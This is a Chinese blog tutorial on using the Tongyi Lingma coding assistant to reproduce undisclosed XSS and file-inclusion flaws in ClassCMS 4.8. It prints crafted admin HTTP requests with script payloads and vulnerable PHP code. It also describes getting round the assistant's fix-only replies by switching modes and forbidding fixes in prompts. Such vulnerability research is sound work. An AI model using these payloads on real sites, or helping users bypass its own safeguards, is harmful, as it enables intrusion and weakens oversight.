【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践
【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践
本文转自 周周的奇妙编程 并作补充
前言
暨上一篇【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践之后，这第二篇主要是想分享一下通义灵码在复现未公开漏洞方面的应用，当然，前提也是必须得有相应的源码。
有的时候，由于安全人员水平的限制和时间、资源等条件的约束，使得对于某些已知但未公开漏洞（如0day、未公开1day漏洞）的复现和分析变得十分困难。在这种情况下，利用通义灵码这样的智能编码辅助工具，可以显著提高漏洞复现的效率，并且帮助安全研究人员更快速地理解和解决问题。
基本思路
通常，CVE上、付费网站、韭菜星球上会有一些漏洞细节的描述，但是偏偏不给你Poc，这时万一你发现搜遍全网也都搜不到这个公开的，就必需要依靠自己的技术能力和手头上的工具来尝试复现这些漏洞了。
关于CVE的查找，我个人偏向于喜欢使用以下两个：
而源码的获取方面，目前我还是以开源代码为主，一般都是在github、gitee、站长工具甚至微信公众号上去查找收集，但是说实话，这种代码涉及的网络空间影响面都不会特别大，可能会有人用，但一般不会是特别重点的企事业单位。
此次以某cms最新版4.8为例，我们尝试借助通义灵码并根据cve的细节描述来进行该未公开漏洞的复现，复现的环境搭建可以参考我的上一篇文章，在此不过多赘述。
下面按照由易到难的顺序依次举例说明：
xss漏洞
根据cve原文描述漏洞如下：
A vulnerability, which was classified as problematic, has been found in xxxCMS 4.8. Affected by this issue is some unknown functionality of the file /index.php/admin of the component Article Handler. The manipulation of the argument Title leads to basic cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
一个被归类为有问题的漏洞出现在xxxCMS 4.8版本中。该漏洞影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控，会导致基础的跨站脚本攻击（XSS）。
首先，涉及到跨站脚本攻击的这种漏洞其实并不复杂，有经验的人可以随便测，但是这里我们既然有了源码，有了漏洞描述，就可以直接进行方法定位了，
在灵码中给出prompt如下：
已知此处存在漏洞，影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控，会导致基础的跨站脚本攻击（XSS）, 请你帮忙确认漏洞存在位置并加以分析，不需要给出修复方法。
模式选择工作空间模式：
在这个模式下的缺点就是无法很好的理解我的问题，不管如何提示，他始终只会给出针对漏洞的修复方法，所以必须强制其不要给出修复方法。
灵码给出的回复如下：
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<title>{
if isset($.title) && !empty($.title)}{
$.title}{
else}{
$.channelname}{
/if}</title>
此处直接将title参数输出到HTML中，没有进行任何过滤或转义处理。如果title参数中包含恶意脚本，将直接被执行，从而导致XSS攻击。
2.在文件article_edit.php中，存在类似的代码：
<input type="text" name="title" value="{$article.title}">
同样，此处直接将title参数的值输出到HTML中，没有进行适当的处理，也可能导致XSS攻击。这里给出的是前端的解析，说明此处确实存在xss漏洞，但是其前端是纯展示界面，并不存在任何编辑的地方，所以我们可以接着给出prompt，让其寻找哪个方法是可以输入title参数的，等找到这个输入的位置就可以进行验证：
已知对于新闻的管理是放在admin代码目录下，请你寻找该目录下的方法，找到可以输入title的位置
此时给出的回复如下：
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.文章编辑方法： 在文件article.php中，存在一个处理文章编辑的方法edit。这个方法中包含了对title参数的处理逻辑。
if($editColumns=C('this:article:editColumns:~',$array['columns'])) {
$array['columns']=$editColumns;
}
此处editColumns可能会包含title字段的编辑内容。
2.文章保存方法： 在同一个文件中，存在一个保存文章的方法editSave。
if(isset($array['cid'])){
$_POST['cid']=$array['cid']; }
if(!C('this:csrfCheck',1)) {
Return array('msg'=>'非法提交,请刷新当前页面或重新登入系统','error'=>1,'code'=>1001);
}
这个方法中会处理文章的保存操作，包括title字段的保存。说白了就是后台涉及文章管理的地方，打开web端进去找，同时结合BP工具进行抓包判断
找到这个界面，不管了全部都插一遍：
使用语句如下：
验证出同一页面下存在三处xss漏洞：
我们接着看上面灵码的提示：
文章保存方法： 在同一个文件中，存在一个保存文章的方法editSave。
if(isset(array[‘cid’])){_POST[‘cid’]=$array[‘cid’]; }
if(!C(‘this:csrfCheck’,1)) {
Return array(‘msg’=>’非法提交,请刷新当前页面或重新登入系统’,’error’=>1,’code’=>1001);
}这个方法中会处理文章的保存操作，包括title字段的保存。
现在定位到这一块，我们在web端寻找调用此方法的位置，并拦截其初始请求包如下：
2
3
4
5
6
7
8
9
10
11
12
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip此时就可以结合我上一篇文章的技巧，直接让灵码帮助构造请求包来验证xss漏洞
这时workspace模式极有可能抽风，可能是因为涉及到漏洞验证触发了关键词，反正一直只给出修复方式
这时还是需要回到普通模式，找到admin下article文件中的editSave方法，全选代码后，给出让其修改的prompt：
构造请求包如下：
2
3
4
5
6
7
8
9
10
11
12
13
14
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
cid=66618103&id=28&title=<script>alert('XSS')</script>&content=<script>alert('XSS')</script>这里就又出现了一个幻觉问题，经过人工审查，发现这里并不存在title这个输入参数，经过上下文分析后，应该是前面提到title参数与文章有关，灵码联想到了文章——>article ,所以判断此处存在可能存在漏洞。
但是实际上这里存在漏洞吗？答案是存在的！
从语法分析上，灵码误判的几率较小，但是会受prompt的影响，进而被使用者“误导”
所以，这里我们需要重新审计这段代码，告知里面存在xss漏洞，进而进行利用
其中，灵码的返回内容如下：
已知存在 _referer 未经过滤，OK，下面直接让灵码开始利用（content部分为自己修改的恶意内容）：
2
3
4
5
6
7
8
9
10
11
12
13
14
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
_referer=%3CsCrIpT%3Exxzaurchol%3C%2FsCrIpT%3E&cid=66618103&content=%3Ch1%3E%0A%09%3Ctable+style%3D%22width%3A100%25%3B%22+cellpadding%3D%222%22+cellspacing%3D%220%22+border%3D%221%22+bordercolor%3D%22%23000000%22%3E%0A%09%09%3Ctbody%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%3C%2Ftbody%3E%0A%09%3C%2Ftable%3E%0A%3Cbr+%2F%3E%0A%3Cimg+src%3D%22http%3A%2F%2Fpublic%2Fclass%2Fkindeditor%2Fplugins%2Femoticons%2Fimages%2F32.gif%22+border%3D%220%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%5Ctuma.jpg%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%0A%3C%2Fh1%3E&csrf=404619e7&datetime=2021-05-20&description=1&id=28&keywords=1&recommend=on&title=%E6%B5%8B%E8%AF%95%E6%96%87%E7%AB%A0发包之后，回显保存成功，证明此漏洞存在：
网上搜了一下，没有找到同样的，应该是0day了
文件包含
根据cve原文描述漏洞如下：
ClassCMS <=4.8 is vulnerable to file inclusion in the nowView method in/class/cms/cms.php, which can include a file uploaded to the/class/template directory to execute PHP code.
我们直接选择workspace模式，将以下prompt丢给灵码进行辅助判断：
在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞，这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在？同时简要分析，不需要给出修复方法。
灵码给出的答复如下：
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// ...此处为省略代码...
}
function nowView($template_config=array()) {
if(!isset($template_config['file'])) {
$this->error('no file');
Return false;
}
$file=$template_config['file'];
$file=ROOT_PATH.str_replace("\\","/",$file);
if(!file_exists($file)) {
$this->error('file not exists');
Return false;
}
if(!is_file($file)) {
$this->error('not a file');
Return false;
}
ob_start();
include $file;
$content=ob_get_contents();
ob_end_clean();
Return $content;
}
// ...此处为省略代码...
从上述代码中可以看出：
1.文件路径处理：$file 变量来自 $template_config['file']，并且进行了简单的替换处理 (str_replace("\\","/",$file))，但未进行其他过滤或验证。
2.文件存在性检查：通过 file_exists 和 is_file 函数检查文件是否存在并且是一个文件。
3.文件包含：使用 include 语句包含文件内容，并通过 ob_start 和 ob_get_contents 获取文件内容。
从代码中可以看出，nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查，但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数，并成功上传恶意文件到包含路径中，就可能执行任意PHP代码。
nowView方法存在文件包含漏洞，可能导致执行上传到/class/template目录的PHP代码。需要进一步检查调用nowView的地方以及$_file参数的来源，以确定实际风险和可能的缓解措施。
这时候，我们接着检查调用nowView的地方以及$_file参数的来源分析：
2
3
4
5
6
7
8
9
10
11
C('cms:nowView',$route_view,array_merge($route_view_article,$return),$classhash);
// ...
C('cms:nowView',$route_view,array_merge($route_view_article),$classhash);
// ...
C('cms:nowView',$route_view,$return,$classhash);
尽管我们找到了调用nowView的地方，但是从检索结果中并没有直接显示$_file参数的来源。因此，我们需要进一步手动检查代码，特别是那些调用nowView方法的地方，看$_file参数是如何确定的。
从代码中可以看出，nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查，但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数，并成功上传恶意文件到包含路径中，就可能执行任意PHP代码。结合方法尝试构造路径 ，Get和Post都可以进行尝试，直到找到正常回显的界面即可：
/admin?do=cms:nowView
/admin?do=cms:cms:nowView
/cms?do=cms:nowView
/cms?do=cms:cms:nowView
.
.找了半天之后，发现均是无权限，后来看了下完整的目录，发现这个位置应该是在该CMS的初始化界面，配合install.php 来使用的
nowView 的函数，主要用于加载和渲染指定的模板文件，其中：
- $_file：指定要渲染的模板文件名。
- $_vars：一个数组，包含传递给模板的所有变量，默认为空数组。
- $_classhash：一个字符串，用于指定类的哈希值，默认为空字符串。
所以这里需要删除环境重新回到初始化界面来验证，验证方式也是比较容易，找到该参数的请求包加以构造就可以了，只能说漏洞确实存在，但是利用性不高。。。
总结
整篇看来，其实可行性还是比较高的，通过通义灵码的帮助，安全研究人员能够更加高效地定位并验证未公开的漏洞。无论是XSS还是文件包含等漏洞，通义灵码都能够提供有针对性的代码分析和漏洞定位建议，大大减少了手动排查的时间成本。然而，值得注意的是，尽管通义灵码表现出色，但在某些情况下，仍需依赖人类的经验来判断模型给出的建议是否合理，尤其是在面对较为复杂或多变的代码逻辑时。
期望在未来，除了漏洞复现之外，通义灵码可以拓展更多的应用场景，比如自动化安全测试、动态分析以及威胁建模等。在自动化安全测试方面，通义灵码可以自动生成针对特定安全漏洞的测试用例，帮助开发者在代码提交之前就能识别潜在的风险，从而提高软件的质量和安全性；在动态分析领域，通义灵码可以监视程序运行时的行为，检测异常活动，及时报告潜在的安全问题；而对于威胁建模，通义灵码能够根据现有的安全知识库和模型，预测可能存在的攻击向量，并提出防范措施，帮助开发者设计更加健壮的应用架构。
通过不断地迭代升级，期望灵码能成为软件安全生命周期中一个至关重要的工具，不仅在开发阶段提供即时的反馈和支持，也在部署和维护期间持续发挥作用，为软件的安全性保驾护航，助力开发者和安全专家共同应对日益复杂的网络安全挑战。
